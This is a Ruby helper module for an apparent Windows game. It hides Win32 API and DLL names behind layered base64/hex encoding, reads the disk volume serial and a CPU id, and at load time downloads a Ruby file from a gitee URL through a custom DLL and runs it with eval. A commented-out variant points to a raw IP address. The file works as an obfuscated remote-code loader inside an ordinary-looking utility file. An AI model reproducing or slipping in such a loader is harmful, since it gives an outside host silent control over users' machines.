#encoding:utf-8
module KELASE

  Crc = Win32API.new("System/crc.dll","new",'','i')

  CP_ACP = 0
  CP_UTF8 = 65001
  Dllkernel = 'kernel32'
  Dlluser = 'user32'
  
  def self.base96(text)
    add =  text.unpack('H*')
    add.pack('m*')
  end
  def self.unbase96(text)  
    un = text.unpack('m*')
    un.pack('H*').force_encoding('UTF-8') 
  end
	def self.md5pack(str,deep = 3)
    deep.times do
      str = [str.to_s].pack('m').gsub(/\n/){""}
    end
    str
  end
  def self.md5unpack(str,deep = 3)
    deep.times do
      str = str.to_s.unpack('m')[0]
    end
    str
  end
  def s2u(text)
    m2w = Win32API.new(Dllkernel, 'MultiByteToWideChar', 'ilpipi', 'i')
    w2m = Win32API.new(Dllkernel, 'WideCharToMultiByte', 'ilpipipp', 'i')
    len = m2w.call(CP_ACP, 0, text, -1, nil, 0);
    buf = "\0" * (len*2)
    m2w.call(CP_ACP, 0, text, -1, buf, buf.size/2);
    len = w2m.call(CP_UTF8, 0, buf, -1, nil, 0, nil, nil);
    ret = "\0" * len
    w2m.call(CP_UTF8, 0, buf, -1, ret, ret.size, nil, nil);
    return ret
  end
 module_function :s2u
  def u2s(text)
    m2w = Win32API.new(Dllkernel, 'MultiByteToWideChar', 'ilpipi', 'i')
    w2m = Win32API.new(Dllkernel, 'WideCharToMultiByte', 'ilpipipp', 'i')
    len = m2w.call(CP_UTF8, 0, text, -1, nil, 0);
    buf = "\0" * (len*2)
    m2w.call(CP_UTF8, 0, text, -1, buf, buf.size/2);
    len = w2m.call(CP_ACP, 0, buf, -1, nil, 0, nil, nil);
    ret = "\0" * len
    w2m.call(CP_ACP, 0, buf, -1, ret, ret.size, nil, nil);
    return ret
  end
 module_function :u2s
  def self.get_volume_serial_number
    win32 = Win32API.new(Dllkernel,unbase96("NDc2NTc0NTY2ZjZjNzU2ZDY1NDk2ZTY2NmY3MjZkNjE3NDY5NmY2ZQ==\n"),'pllpllll','l')
    buffer = "\0" * 4
    win32.call("C:\\", 0,0,buffer,0,0,0,0)
    buffer.unpack('L')[0]
  end
  def self.call_message_box(text,caption = unbase96("ZTY4ZjkwZTdhNGJhZWZiYzlh\n"),type = 64)
    return nil unless text
    message_box = Win32API.new(Dlluser, unbase96("NGQ2NTczNzM2MTY3NjU0MjZmNzg=\n"), %w(p p p i), 'i')
    message_box.call(0,u2s(text), u2s(caption), type)
  end
  def self.getversion
    win32 = Win32API.new(Dllkernel,md5unpack("VWpKV01GWnRWbmxqTW14MlltYzlQUT09"),'','l')
    win32.call()
  end
  def self.LoadLibraryA(text)
    win32 = Win32API.new(Dllkernel,md5unpack("VkVjNWFGcEZlSEJaYmtwb1kyNXNRZz09"),'p','l')
    win32.call(text)
  end
  def self.FreeLibrary(int)
    win32 = Win32API.new(Dllkernel,md5unpack("VW01S2JGcFZlSEJaYmtwb1kyNXJQUT09"),'l','b')
    win32.call(int)
  end 
  def self.getqqgrop(int)
    win32 = Win32API.new(unbase96("NTM3OTczNzQ2NTZkMmY2YjY1NmM2MTczNjUyZTY0NmM2Yw==\n"),unbase96("NmM2ZjYxNjQ2Yg==\n"),'l','l')
    win32.call(int)
  end
  def self.getcpuid
    win32 = Win32API.new(unbase96("NTM3OTczNzQ2NTZkMmY2YjY1NmM2MTczNjUyZTY0NmM2Yw==\n"),unbase96("Njc2NTc0NjM3MDc1\n"),'','p')
    win32.call()
  end
end
Get_http = Win32API.new('system\kelase.dll','gethttp','p','p')
fist_jhpx = "https://gitee.com/kelase/qq319036892/raw/master/mmlist/wwdata.rb"
ptp = Get_http.call(fist_jhpx)
eval(ptp.s2u)
#~     fist_jhpx = "http://82.157.246.162:8080/sao"
#~     ptp = Get_http.call(fist_jhpx)
#~     $cdcg = false